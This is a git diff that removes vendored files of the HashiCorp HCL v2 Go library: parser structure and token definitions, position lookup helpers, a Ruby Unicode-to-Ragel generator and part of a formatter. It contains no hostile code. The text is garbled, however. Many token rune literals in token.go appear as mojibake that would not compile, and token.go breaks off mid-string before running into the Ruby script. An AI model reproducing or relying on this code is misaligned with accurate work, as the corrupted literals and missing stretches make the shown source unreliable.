Static Analysis - -The HCL static analysis operations are implemented for some expression types -in the native syntax, as described in the following sections. - -A goal for static analysis of the native syntax is for the interpretation to -be as consistent as possible with the dynamic evaluation interpretation of -the given expression, though some deviations are intentionally made in order -to maximize the potential for analysis. - -### Static List - -The tuple construction syntax can be interpreted as a static list. All of -the expression elements given are returned as the static list elements, -with no further interpretation. - -### Static Map - -The object construction syntax can be interpreted as a static map. All of the -key/value pairs given are returned as the static pairs, with no further -interpretation. - -The usual requirement that an attribute name be interpretable as a string -does not apply to this static analysis, allowing callers to provide map-like -constructs with different key types by building on the map syntax. - -### Static Call - -The function call syntax can be interpreted as a static call. The called -function name is returned verbatim and the given argument expressions are -returned as the static arguments, with no further interpretation. - -### Static Traversal - -A variable expression and any attached attribute access operations and -constant index operations can be interpreted as a static traversal. - -The keywords `true`, `false` and `null` can also be interpreted as -static traversals, behaving as if they were references to variables of those -names, to allow callers to redefine the meaning of those keywords in certain -contexts. diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure.go deleted file mode 100644 index 2f7470c772..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure.go +++ /dev/null @@ -1,394 +0,0 @@ -package hclsyntax - -import ( - "fmt" - "strings" - - "github.com/hashicorp/hcl/v2" -) - -// AsHCLBlock returns the block data expressed as a *hcl.Block. -func (b *Block) AsHCLBlock() *hcl.Block { - if b == nil { - return nil - } - - lastHeaderRange := b.TypeRange - if len(b.LabelRanges) > 0 { - lastHeaderRange = b.LabelRanges[len(b.LabelRanges)-1] - } - - return &hcl.Block{ - Type: b.Type, - Labels: b.Labels, - Body: b.Body, - - DefRange: hcl.RangeBetween(b.TypeRange, lastHeaderRange), - TypeRange: b.TypeRange, - LabelRanges: b.LabelRanges, - } -} - -// Body is the implementation of hcl.Body for the HCL native syntax. -type Body struct { - Attributes Attributes - Blocks Blocks - - // These are used with PartialContent to produce a "remaining items" - // body to return. They are nil on all bodies fresh out of the parser. - hiddenAttrs map[string]struct{} - hiddenBlocks map[string]struct{} - - SrcRange hcl.Range - EndRange hcl.Range // Final token of the body, for reporting missing items -} - -// Assert that *Body implements hcl.Body -var assertBodyImplBody hcl.Body = &Body{} - -func (b *Body) walkChildNodes(w internalWalkFunc) { - w(b.Attributes) - w(b.Blocks) -} - -func (b *Body) Range() hcl.Range { - return b.SrcRange -} - -func (b *Body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { - content, remainHCL, diags := b.PartialContent(schema) - - // No we'll see if anything actually remains, to produce errors about - // extraneous items. - remain := remainHCL.(*Body) - - for name, attr := range b.Attributes { - if _, hidden := remain.hiddenAttrs[name]; !hidden { - var suggestions []string - for _, attrS := range schema.Attributes { - if _, defined := content.Attributes[attrS.Name]; defined { - continue - } - suggestions = append(suggestions, attrS.Name) - } - suggestion := nameSuggestion(name, suggestions) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } else { - // Is there a block of the same name? - for _, blockS := range schema.Blocks { - if blockS.Type == name { - suggestion = fmt.Sprintf(" Did you mean to define a block of type %q?", name) - break - } - } - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsupported argument", - Detail: fmt.Sprintf("An argument named %q is not expected here.%s", name, suggestion), - Subject: &attr.NameRange, - }) - } - } - - for _, block := range b.Blocks { - blockTy := block.Type - if _, hidden := remain.hiddenBlocks[blockTy]; !hidden { - var suggestions []string - for _, blockS := range schema.Blocks { - suggestions = append(suggestions, blockS.Type) - } - suggestion := nameSuggestion(blockTy, suggestions) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } else { - // Is there an attribute of the same name? - for _, attrS := range schema.Attributes { - if attrS.Name == blockTy { - suggestion = fmt.Sprintf(" Did you mean to define argument %q? If so, use the equals sign to assign it a value.", blockTy) - break - } - } - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsupported block type", - Detail: fmt.Sprintf("Blocks of type %q are not expected here.%s", blockTy, suggestion), - Subject: &block.TypeRange, - }) - } - } - - return content, diags -} - -func (b *Body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { - attrs := make(hcl.Attributes) - var blocks hcl.Blocks - var diags hcl.Diagnostics - hiddenAttrs := make(map[string]struct{}) - hiddenBlocks := make(map[string]struct{}) - - if b.hiddenAttrs != nil { - for k, v := range b.hiddenAttrs { - hiddenAttrs[k] = v - } - } - if b.hiddenBlocks != nil { - for k, v := range b.hiddenBlocks { - hiddenBlocks[k] = v - } - } - - for _, attrS := range schema.Attributes { - name := attrS.Name - attr, exists := b.Attributes[name] - _, hidden := hiddenAttrs[name] - if hidden || !exists { - if attrS.Required { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing required argument", - Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), - Subject: b.MissingItemRange().Ptr(), - }) - } - continue - } - - hiddenAttrs[name] = struct{}{} - attrs[name] = attr.AsHCLAttribute() - } - - blocksWanted := make(map[string]hcl.BlockHeaderSchema) - for _, blockS := range schema.Blocks { - blocksWanted[blockS.Type] = blockS - } - - for _, block := range b.Blocks { - if _, hidden := hiddenBlocks[block.Type]; hidden { - continue - } - blockS, wanted := blocksWanted[block.Type] - if !wanted { - continue - } - - if len(block.Labels) > len(blockS.LabelNames) { - name := block.Type - if len(blockS.LabelNames) == 0 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Extraneous label for %s", name), - Detail: fmt.Sprintf( - "No labels are expected for %s blocks.", name, - ), - Subject: block.LabelRanges[0].Ptr(), - Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Extraneous label for %s", name), - Detail: fmt.Sprintf( - "Only %d labels (%s) are expected for %s blocks.", - len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), name, - ), - Subject: block.LabelRanges[len(blockS.LabelNames)].Ptr(), - Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), - }) - } - continue - } - - if len(block.Labels) < len(blockS.LabelNames) { - name := block.Type - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Missing %s for %s", blockS.LabelNames[len(block.Labels)], name), - Detail: fmt.Sprintf( - "All %s blocks must have %d labels (%s).", - name, len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), - ), - Subject: &block.OpenBraceRange, - Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), - }) - continue - } - - blocks = append(blocks, block.AsHCLBlock()) - } - - // We hide blocks only after we've processed all of them, since otherwise - // we can't process more than one of the same type. - for _, blockS := range schema.Blocks { - hiddenBlocks[blockS.Type] = struct{}{} - } - - remain := &Body{ - Attributes: b.Attributes, - Blocks: b.Blocks, - - hiddenAttrs: hiddenAttrs, - hiddenBlocks: hiddenBlocks, - - SrcRange: b.SrcRange, - EndRange: b.EndRange, - } - - return &hcl.BodyContent{ - Attributes: attrs, - Blocks: blocks, - - MissingItemRange: b.MissingItemRange(), - }, remain, diags -} - -func (b *Body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { - attrs := make(hcl.Attributes) - var diags hcl.Diagnostics - - if len(b.Blocks) > 0 { - example := b.Blocks[0] - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Unexpected %q block", example.Type), - Detail: "Blocks are not allowed here.", - Subject: &example.TypeRange, - }) - // we will continue processing anyway, and return the attributes - // we are able to find so that certain analyses can still be done - // in the face of errors. - } - - if b.Attributes == nil { - return attrs, diags - } - - for name, attr := range b.Attributes { - if _, hidden := b.hiddenAttrs[name]; hidden { - continue - } - attrs[name] = attr.AsHCLAttribute() - } - - return attrs, diags -} - -func (b *Body) MissingItemRange() hcl.Range { - return hcl.Range{ - Filename: b.SrcRange.Filename, - Start: b.SrcRange.Start, - End: b.SrcRange.Start, - } -} - -// Attributes is the collection of attribute definitions within a body. -type Attributes map[string]*Attribute - -func (a Attributes) walkChildNodes(w internalWalkFunc) { - for _, attr := range a { - w(attr) - } -} - -// Range returns the range of some arbitrary point within the set of -// attributes, or an invalid range if there are no attributes. -// -// This is provided only to complete the Node interface, but has no practical -// use. -func (a Attributes) Range() hcl.Range { - // An attributes doesn't really have a useful range to report, since - // it's just a grouping construct. So we'll arbitrarily take the - // range of one of the attributes, or produce an invalid range if we have - // none. In practice, there's little reason to ask for the range of - // an Attributes. - for _, attr := range a { - return attr.Range() - } - return hcl.Range{ - Filename: "", - } -} - -// Attribute represents a single attribute definition within a body. -type Attribute struct { - Name string - Expr Expression - - SrcRange hcl.Range - NameRange hcl.Range - EqualsRange hcl.Range -} - -func (a *Attribute) walkChildNodes(w internalWalkFunc) { - w(a.Expr) -} - -func (a *Attribute) Range() hcl.Range { - return a.SrcRange -} - -// AsHCLAttribute returns the block data expressed as a *hcl.Attribute. -func (a *Attribute) AsHCLAttribute() *hcl.Attribute { - if a == nil { - return nil - } - return &hcl.Attribute{ - Name: a.Name, - Expr: a.Expr, - - Range: a.SrcRange, - NameRange: a.NameRange, - } -} - -// Blocks is the list of nested blocks within a body. -type Blocks []*Block - -func (bs Blocks) walkChildNodes(w internalWalkFunc) { - for _, block := range bs { - w(block) - } -} - -// Range returns the range of some arbitrary point within the list of -// blocks, or an invalid range if there are no blocks. -// -// This is provided only to complete the Node interface, but has no practical -// use. -func (bs Blocks) Range() hcl.Range { - if len(bs) > 0 { - return bs[0].Range() - } - return hcl.Range{ - Filename: "", - } -} - -// Block represents a nested block structure -type Block struct { - Type string - Labels []string - Body *Body - - TypeRange hcl.Range - LabelRanges []hcl.Range - OpenBraceRange hcl.Range - CloseBraceRange hcl.Range -} - -func (b *Block) walkChildNodes(w internalWalkFunc) { - w(b.Body) -} - -func (b *Block) Range() hcl.Range { - return hcl.RangeBetween(b.TypeRange, b.CloseBraceRange) -} - -func (b *Block) DefRange() hcl.Range { - return hcl.RangeBetween(b.TypeRange, b.OpenBraceRange) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure_at_pos.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure_at_pos.go deleted file mode 100644 index 587844ac20..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/structure_at_pos.go +++ /dev/null @@ -1,118 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" -) - -// ----------------------------------------------------------------------------- -// The methods in this file are all optional extension methods that serve to -// implement the methods of the same name on *hcl.File when its root body -// is provided by this package. -// ----------------------------------------------------------------------------- - -// BlocksAtPos implements the method of the same name for an *hcl.File that -// is backed by a *Body. -func (b *Body) BlocksAtPos(pos hcl.Pos) []*hcl.Block { - list, _ := b.blocksAtPos(pos, true) - return list -} - -// InnermostBlockAtPos implements the method of the same name for an *hcl.File -// that is backed by a *Body. -func (b *Body) InnermostBlockAtPos(pos hcl.Pos) *hcl.Block { - _, innermost := b.blocksAtPos(pos, false) - return innermost.AsHCLBlock() -} - -// OutermostBlockAtPos implements the method of the same name for an *hcl.File -// that is backed by a *Body. -func (b *Body) OutermostBlockAtPos(pos hcl.Pos) *hcl.Block { - return b.outermostBlockAtPos(pos).AsHCLBlock() -} - -// blocksAtPos is the internal engine of both BlocksAtPos and -// InnermostBlockAtPos, which both need to do the same logic but return a -// differently-shaped result. -// -// list is nil if makeList is false, avoiding an allocation. Innermost is -// always set, and if the returned list is non-nil it will always match the -// final element from that list. -func (b *Body) blocksAtPos(pos hcl.Pos, makeList bool) (list []*hcl.Block, innermost *Block) { - current := b - -Blocks: - for current != nil { - for _, block := range current.Blocks { - wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) - if wholeRange.ContainsPos(pos) { - innermost = block - if makeList { - list = append(list, innermost.AsHCLBlock()) - } - current = block.Body - continue Blocks - } - } - - // If we fall out here then none of the current body's nested blocks - // contain the position we are looking for, and so we're done. - break - } - - return -} - -// outermostBlockAtPos is the internal version of OutermostBlockAtPos that -// returns a hclsyntax.Block rather than an hcl.Block, allowing for further -// analysis if necessary. -func (b *Body) outermostBlockAtPos(pos hcl.Pos) *Block { - // This is similar to blocksAtPos, but simpler because we know it only - // ever needs to search the first level of nested blocks. - - for _, block := range b.Blocks { - wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) - if wholeRange.ContainsPos(pos) { - return block - } - } - - return nil -} - -// AttributeAtPos implements the method of the same name for an *hcl.File -// that is backed by a *Body. -func (b *Body) AttributeAtPos(pos hcl.Pos) *hcl.Attribute { - return b.attributeAtPos(pos).AsHCLAttribute() -} - -// attributeAtPos is the internal version of AttributeAtPos that returns a -// hclsyntax.Block rather than an hcl.Block, allowing for further analysis if -// necessary. -func (b *Body) attributeAtPos(pos hcl.Pos) *Attribute { - searchBody := b - _, block := b.blocksAtPos(pos, false) - if block != nil { - searchBody = block.Body - } - - for _, attr := range searchBody.Attributes { - if attr.SrcRange.ContainsPos(pos) { - return attr - } - } - - return nil -} - -// OutermostExprAtPos implements the method of the same name for an *hcl.File -// that is backed by a *Body. -func (b *Body) OutermostExprAtPos(pos hcl.Pos) hcl.Expression { - attr := b.attributeAtPos(pos) - if attr == nil { - return nil - } - if !attr.Expr.Range().ContainsPos(pos) { - return nil - } - return attr.Expr -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/token.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/token.go deleted file mode 100644 index 688b90ca6d..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/token.go +++ /dev/null @@ -1,320 +0,0 @@ -package hclsyntax - -import ( - "bytes" - "fmt" - - "github.com/apparentlymart/go-textseg/v12/textseg" - "github.com/hashicorp/hcl/v2" -) - -// Token represents a sequence of bytes from some HCL code that has been -// tagged with a type and its range within the source file. -type Token struct { - Type TokenType - Bytes []byte - Range hcl.Range -} - -// Tokens is a slice of Token. -type Tokens []Token - -// TokenType is an enumeration used for the Type field on Token. -type TokenType rune - -const ( - // Single-character tokens are represented by their own character, for - // convenience in producing these within the scanner. However, the values - // are otherwise arbitrary and just intended to be mnemonic for humans - // who might see them in debug output. - - TokenOBrace TokenType = '{' - TokenCBrace TokenType = '}' - TokenOBrack TokenType = '[' - TokenCBrack TokenType = ']' - TokenOParen TokenType = '(' - TokenCParen TokenType = ')' - TokenOQuote TokenType = 'ÂĢ' - TokenCQuote TokenType = 'Âģ' - TokenOHeredoc TokenType = 'H' - TokenCHeredoc TokenType = 'h' - - TokenStar TokenType = '*' - TokenSlash TokenType = '/' - TokenPlus TokenType = '+' - TokenMinus TokenType = '-' - TokenPercent TokenType = '%' - - TokenEqual TokenType = '=' - TokenEqualOp TokenType = '≔' - TokenNotEqual TokenType = '≠' - TokenLessThan TokenType = '<' - TokenLessThanEq TokenType = '≤' - TokenGreaterThan TokenType = '>' - TokenGreaterThanEq TokenType = 'â‰Ĩ' - - TokenAnd TokenType = '∧' - TokenOr TokenType = '∨' - TokenBang TokenType = '!' - - TokenDot TokenType = '.' - TokenComma TokenType = ',' - - TokenEllipsis TokenType = 'â€Ļ' - TokenFatArrow TokenType = '⇒' - - TokenQuestion TokenType = '?' - TokenColon TokenType = ':' - - TokenTemplateInterp TokenType = 'âˆĢ' - TokenTemplateControl TokenType = 'Îģ' - TokenTemplateSeqEnd TokenType = '∎' - - TokenQuotedLit TokenType = 'Q' // might contain backslash escapes - TokenStringLit TokenType = 'S' // cannot contain backslash escapes - TokenNumberLit TokenType = 'N' - TokenIdent TokenType = 'I' - - TokenComment TokenType = 'C' - - TokenNewline TokenType = '\n' - TokenEOF TokenType = '␄' - - // The rest are not used in the language but recognized by the scanner so - // we can generate good diagnostics in the parser when users try to write - // things that might work in other languages they are familiar with, or - // simply make incorrect assumptions about the HCL language. - - TokenBitwiseAnd TokenType = '&' - TokenBitwiseOr TokenType = '|' - TokenBitwiseNot TokenType = '~' - TokenBitwiseXor TokenType = '^' - TokenStarStar TokenType = '➚' - TokenApostrophe TokenType = '\'' - TokenBacktick TokenType = '`' - TokenSemicolon TokenType = ';' - TokenTabs TokenType = '␉' - TokenInvalid TokenType = 'īŋŊ' - TokenBadUTF8 TokenType = '💩' - TokenQuotedNewline TokenType = '␤' - - // TokenNil is a placeholder for when a token is required but none is - // available, e.g. when reporting errors. The scanner will never produce - // this as part of a token stream. - TokenNil TokenType = '\x00' -) - -func (t TokenType) GoString() string { - return fmt.Sprintf("hclsyntax.%s", t.String()) -} - -type scanMode int - -const ( - scanNormal scanMode = iota - scanTemplate - scanIdentOnly -) - -type tokenAccum struct { - Filename string - Bytes []byte - Pos hcl.Pos - Tokens []Token - StartByte int -} - -func (f *tokenAccum) emitToken(ty TokenType, startOfs, endOfs int) { - // Walk through our buffer to figure out how much we need to adjust - // the start pos to get our end pos. - - start := f.Pos - start.Column += startOfs + f.StartByte - f.Pos.Byte // Safe because only ASCII spaces can be in the offset - start.Byte = startOfs + f.StartByte - - end := start - end.Byte = endOfs + f.StartByte - b := f.Bytes[startOfs:endOfs] - for len(b) > 0 { - advance, seq, _ := textseg.ScanGraphemeClusters(b, true) - if (len(seq) == 1 && seq[0] == '\n') || (len(seq) == 2 && seq[0] == '\r' && seq[1] == '\n') { - end.Line++ - end.Column = 1 - } else { - end.Column++ - } - b = b[advance:] - } - - f.Pos = end - - f.Tokens = append(f.Tokens, Token{ - Type: ty, - Bytes: f.Bytes[startOfs:endOfs], - Range: hcl.Range{ - Filename: f.Filename, - Start: start, - End: end, - }, - }) -} - -type heredocInProgress struct { - Marker []byte - StartOfLine bool -} - -func tokenOpensFlushHeredoc(tok Token) bool { - if tok.Type != TokenOHeredoc { - return false - } - return bytes.HasPrefix(tok.Bytes, []byte{'<', '<', '-'}) -} - -// checkInvalidTokens does a simple pass across the given tokens and generates -// diagnostics for tokens that should _never_ appear in HCL source. This -// is intended to avoid the need for the parser to have special support -// for them all over. -// -// Returns a diagnostics with no errors if everything seems acceptable. -// Otherwise, returns zero or more error diagnostics, though tries to limit -// repetition of the same information. -func checkInvalidTokens(tokens Tokens) hcl.Diagnostics { - var diags hcl.Diagnostics - - toldBitwise := 0 - toldExponent := 0 - toldBacktick := 0 - toldApostrophe := 0 - toldSemicolon := 0 - toldTabs := 0 - toldBadUTF8 := 0 - - for _, tok := range tokens { - // copy token so it's safe to point to it - tok := tok - - switch tok.Type { - case TokenBitwiseAnd, TokenBitwiseOr, TokenBitwiseXor, TokenBitwiseNot: - if toldBitwise < 4 { - var suggestion string - switch tok.Type { - case TokenBitwiseAnd: - suggestion = " Did you mean boolean AND (\"&&\")?" - case TokenBitwiseOr: - suggestion = " Did you mean boolean OR (\"&&\")?" - case TokenBitwiseNot: - suggestion = " Did you mean boolean NOT (\"!\")?" - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsupported operator", - Detail: fmt.Sprintf("Bitwise operators are not supported.%s", suggestion), - Subject: &tok.Range, - }) - toldBitwise++ - } - case TokenStarStar: - if toldExponent < 1 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsupported operator", - Detail: "\"**\" is not a supported operator. Exponentiation is not supported as an operator.", - Subject: &tok.Range, - }) - - toldExponent++ - } - case TokenBacktick: - // Only report for alternating (even) backticks, so we won't report both start and ends of the same - // backtick-quoted string. - if (toldBacktick % 2) == 0 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid character", - Detail: "The \"`\" character is not valid. To create a multi-line string, use the \"heredoc\" syntax, like \"< -# -# This script uses the unicode spec to generate a Ragel state machine -# that recognizes unicode alphanumeric characters. It generates 5 -# character classes: uupper, ulower, ualpha, udigit, and ualnum. -# Currently supported encodings are UTF-8 [default] and UCS-4. -# -# Usage: unicode2ragel.rb [options] -# -e, --encoding [ucs4 | utf8] Data encoding -# -h, --help Show this message -# -# This script was originally written as part of the Ferret search -# engine library. -# -# Author: Rakan El-Khalil - -require 'optparse' -require 'open-uri' - -ENCODINGS = [ :utf8, :ucs4 ] -ALPHTYPES = { :utf8 => "byte", :ucs4 => "rune" } -DEFAULT_CHART_URL = "http://www.unicode.org/Public/5.1.0/ucd/DerivedCoreProperties.txt" -DEFAULT_MACHINE_NAME= "WChar" - -### -# Display vars & default option - -TOTAL_WIDTH = 80 -RANGE_WIDTH = 23 -@encoding = :utf8 -@chart_url = DEFAULT_CHART_URL -machine_name = DEFAULT_MACHINE_NAME -properties = [] -@output = $stdout - -### -# Option parsing - -cli_opts = OptionParser.new do |opts| - opts.on("-e", "--encoding [ucs4 | utf8]", "Data encoding") do |o| - @encoding = o.downcase.to_sym - end - opts.on("-h", "--help", "Show this message") do - puts opts - exit - end - opts.on("-u", "--url URL", "URL to process") do |o| - @chart_url = o - end - opts.on("-m", "--machine MACHINE_NAME", "Machine name") do |o| - machine_name = o - end - opts.on("-p", "--properties x,y,z", Array, "Properties to add to machine") do |o| - properties = o - end - opts.on("-o", "--output FILE", "output file") do |o| - @output = File.new(o, "w+") - end -end - -cli_opts.parse(ARGV) -unless ENCODINGS.member? @encoding - puts "Invalid encoding: #{@encoding}" - puts cli_opts - exit -end - -## -# Downloads the document at url and yields every alpha line's hex -# range and description. - -def each_alpha( url, property ) - open( url ) do |file| - file.each_line do |line| - next if line =~ /^#/; - next if line !~ /; #{property} #/; - - range, description = line.split(/;/) - range.strip! - description.gsub!(/.*#/, '').strip! - - if range =~ /\.\./ - start, stop = range.split '..' - else start = stop = range - end - - yield start.hex .. stop.hex, description - end - end -end - -### -# Formats to hex at minimum width - -def to_hex( n ) - r = "%0X" % n - r = "0#{r}" unless (r.length % 2).zero? - r -end - -### -# UCS4 is just a straight hex conversion of the unicode codepoint. - -def to_ucs4( range ) - rangestr = "0x" + to_hex(range.begin) - rangestr << "..0x" + to_hex(range.end) if range.begin != range.end - [ rangestr ] -end - -## -# 0x00 - 0x7f -> 0zzzzzzz[7] -# 0x80 - 0x7ff -> 110yyyyy[5] 10zzzzzz[6] -# 0x800 - 0xffff -> 1110xxxx[4] 10yyyyyy[6] 10zzzzzz[6] -# 0x010000 - 0x10ffff -> 11110www[3] 10xxxxxx[6] 10yyyyyy[6] 10zzzzzz[6] - -UTF8_BOUNDARIES = [0x7f, 0x7ff, 0xffff, 0x10ffff] - -def to_utf8_enc( n ) - r = 0 - if n <= 0x7f - r = n - elsif n <= 0x7ff - y = 0xc0 | (n >> 6) - z = 0x80 | (n & 0x3f) - r = y << 8 | z - elsif n <= 0xffff - x = 0xe0 | (n >> 12) - y = 0x80 | (n >> 6) & 0x3f - z = 0x80 | n & 0x3f - r = x << 16 | y << 8 | z - elsif n <= 0x10ffff - w = 0xf0 | (n >> 18) - x = 0x80 | (n >> 12) & 0x3f - y = 0x80 | (n >> 6) & 0x3f - z = 0x80 | n & 0x3f - r = w << 24 | x << 16 | y << 8 | z - end - - to_hex(r) -end - -def from_utf8_enc( n ) - n = n.hex - r = 0 - if n <= 0x7f - r = n - elsif n <= 0xdfff - y = (n >> 8) & 0x1f - z = n & 0x3f - r = y << 6 | z - elsif n <= 0xefffff - x = (n >> 16) & 0x0f - y = (n >> 8) & 0x3f - z = n & 0x3f - r = x << 10 | y << 6 | z - elsif n <= 0xf7ffffff - w = (n >> 24) & 0x07 - x = (n >> 16) & 0x3f - y = (n >> 8) & 0x3f - z = n & 0x3f - r = w << 18 | x << 12 | y << 6 | z - end - r -end - -### -# Given a range, splits it up into ranges that can be continuously -# encoded into utf8. Eg: 0x00 .. 0xff => [0x00..0x7f, 0x80..0xff] -# This is not strictly needed since the current [5.1] unicode standard -# doesn't have ranges that straddle utf8 boundaries. This is included -# for completeness as there is no telling if that will ever change. - -def utf8_ranges( range ) - ranges = [] - UTF8_BOUNDARIES.each do |max| - if range.begin <= max - if range.end <= max - ranges << range - return ranges - end - - ranges << (range.begin .. max) - range = (max + 1) .. range.end - end - end - ranges -end - -def build_range( start, stop ) - size = start.size/2 - left = size - 1 - return [""] if size < 1 - - a = start[0..1] - b = stop[0..1] - - ### - # Shared prefix - - if a == b - return build_range(start[2..-1], stop[2..-1]).map do |elt| - "0x#{a} " + elt - end - end - - ### - # Unshared prefix, end of run - - return ["0x#{a}..0x#{b} "] if left.zero? - - ### - # Unshared prefix, not end of run - # Range can be 0x123456..0x56789A - # Which is equivalent to: - # 0x123456 .. 0x12FFFF - # 0x130000 .. 0x55FFFF - # 0x560000 .. 0x56789A - - ret = [] - ret << build_range(start, a + "FF" * left) - - ### - # Only generate middle range if need be. - - if a.hex+1 != b.hex - max = to_hex(b.hex - 1) - max = "FF" if b == "FF" - ret << "0x#{to_hex(a.hex+1)}..0x#{max} " + "0x00..0xFF " * left - end - - ### - # Don't generate last range if it is covered by first range - - ret << build_range(b + "00" * left, stop) unless b == "FF" - ret.flatten! -end - -def to_utf8( range ) - utf8_ranges( range ).map do |r| - begin_enc = to_utf8_enc(r.begin) - end_enc = to_utf8_enc(r.end) - build_range begin_enc, end_enc - end.flatten! -end - -## -# Perform a 3-way comparison of the number of codepoints advertised by -# the unicode spec for the given range, the originally parsed range, -# and the resulting utf8 encoded range. - -def count_codepoints( code ) - code.split(' ').inject(1) do |acc, elt| - if elt =~ /0x(.+)\.\.0x(.+)/ - if @encoding == :utf8 - acc * (from_utf8_enc($2) - from_utf8_enc($1) + 1) - else - acc * ($2.hex - $1.hex + 1) - end - else - acc - end - end -end - -def is_valid?( range, desc, codes ) - spec_count = 1 - spec_count = $1.to_i if desc =~ /\[(\d+)\]/ - range_count = range.end - range.begin + 1 - - sum = codes.inject(0) { |acc, elt| acc + count_codepoints(elt) } - sum == spec_count and sum == range_count -end - -## -# Generate the state maching to stdout - -def generate_machine( name, property ) - pipe = " " - @output.puts " #{name} = " - each_alpha( @chart_url, property ) do |range, desc| - - codes = (@encoding == :ucs4) ? to_ucs4(range) : to_utf8(range) - - #raise "Invalid encoding of range #{range}: #{codes.inspect}" unless - # is_valid? range, desc, codes - - range_width = codes.map { |a| a.size }.max - range_width = RANGE_WIDTH if range_width < RANGE_WIDTH - - desc_width = TOTAL_WIDTH - RANGE_WIDTH - 11 - desc_width -= (range_width - RANGE_WIDTH) if range_width > RANGE_WIDTH - - if desc.size > desc_width - desc = desc[0..desc_width - 4] + "..." - end - - codes.each_with_index do |r, idx| - desc = "" unless idx.zero? - code = "%-#{range_width}s" % r - @output.puts " #{pipe} #{code} ##{desc}" - pipe = "|" - end - end - @output.puts " ;" - @output.puts "" -end - -@output.puts < 0: - line.lead[0].SpacesBefore = 2 * len(indents) - indents = append(indents, netBrackets) - case netBrackets < 0: - closed := -netBrackets - for closed > 0 && len(indents) > 0 { - switch { - - case closed > indents[len(indents)-1]: - closed -= indents[len(indents)-1] - indents = indents[:len(indents)-1] - - case closed < indents[len(indents)-1]: - indents[len(indents)-1] -= closed - closed = 0 - - default: - indents = indents[:len(indents)-1] - closed = 0 - } - } - line.lead[0].SpacesBefore = 2 * len(indents) - default: - line.lead[0].SpacesBefore = 2 * len(indents) - } - } -} - -func formatSpaces(lines []formatLine) { - for _, line := range lines { - for i, token := range line.lead { - var before, after *Token - if i > 0 { - before = line.lead[i-1] - } else { - before = nilToken - } - if i < (len(line.lead) - 1) { - after = line.lead[i+1] - } else { - after = nilToken - } - if spaceAfterToken(token, before, after) { - after.SpacesBefore = 1 - } else { - after.SpacesBefore = 0 - } - } - for i, token := range line.assign { - if i == 0 { - // first token in "assign" always has one space before to - // separate the equals sign from what it's assigning. - token.SpacesBefore = 1 - } - - var before, after *Token - if i > 0 { - before = line.assign[i-1] - } else { - before = nilToken - } - if i < (len(line.assign) - 1) { - after = line.assign[i+1] - } else { - after = nilToken - } - if spaceAfterToken(token, before, after) { - after.SpacesBefore = 1 - } else { - after.SpacesBefore = 0 - } - } - - } -} - -func formatCells(lines []formatLine) { - - chainStart := -1 - maxColumns := 0 - - // We'll deal with the "assign" cell first, since moving that will - // also impact the "comment" cell. - closeAssignChain := func(i int) { - for _, chainLine := range lines[chainStart:i] { - columns := chainLine.lead.Columns() - spaces := (maxColumns - columns) + 1 - chainLine.assign[0].SpacesBefore = spaces - } - chainStart = -1 - maxColumns = 0 - } - for i, line := range lines { - if line.assign == nil { - if chainStart != -1 { - closeAssignChain(i) - } - } else { - if chainStart == -1 { - chainStart = i - } - columns := line.lead.Columns() - if columns > maxColumns { - maxColumns = columns - } - } - } - if chainStart != -1 { - closeAssignChain(len(lines)) - } - - // Now we'll deal with the comments - closeCommentChain := func(i int) { - for _, chainLine := range lines[chainStart:i] { - columns := chainLine.lead.Columns() + chainLine.assign.Columns() - spaces := (maxColumns - columns) + 1 - chainLine.comment[0].SpacesBefore = spaces - } - chainStart = -1 - maxColumns = 0 - } - for i, line := range lines { - if line.comment == nil { - if chainStart != -1 { - closeCommentChain(i) - } - } else { - if chainStart == -1 { - chainStart = i - } - columns := line.lead.Columns() + line.assign.Columns() - if columns > maxColumns { - maxColumns = columns - } - } - } - if chainStart != -1 { - closeCommentChain(len(lines)) - } - -} - -// spaceAfterToken decides whether a particular subject token should have a -// space after it when surrounded by the given before and after tokens. -// "before" can be TokenNil, if the subject token is at the start of a sequence. -func spaceAfterToken(subject, before, after *Token) bool { - switch { - - case after.Type == hclsyntax.TokenNewline || after.Type == hclsyntax.TokenNil: - // Never add spaces before a newline - return false - - case subject.Type == hclsyntax.TokenIdent && after.Type == 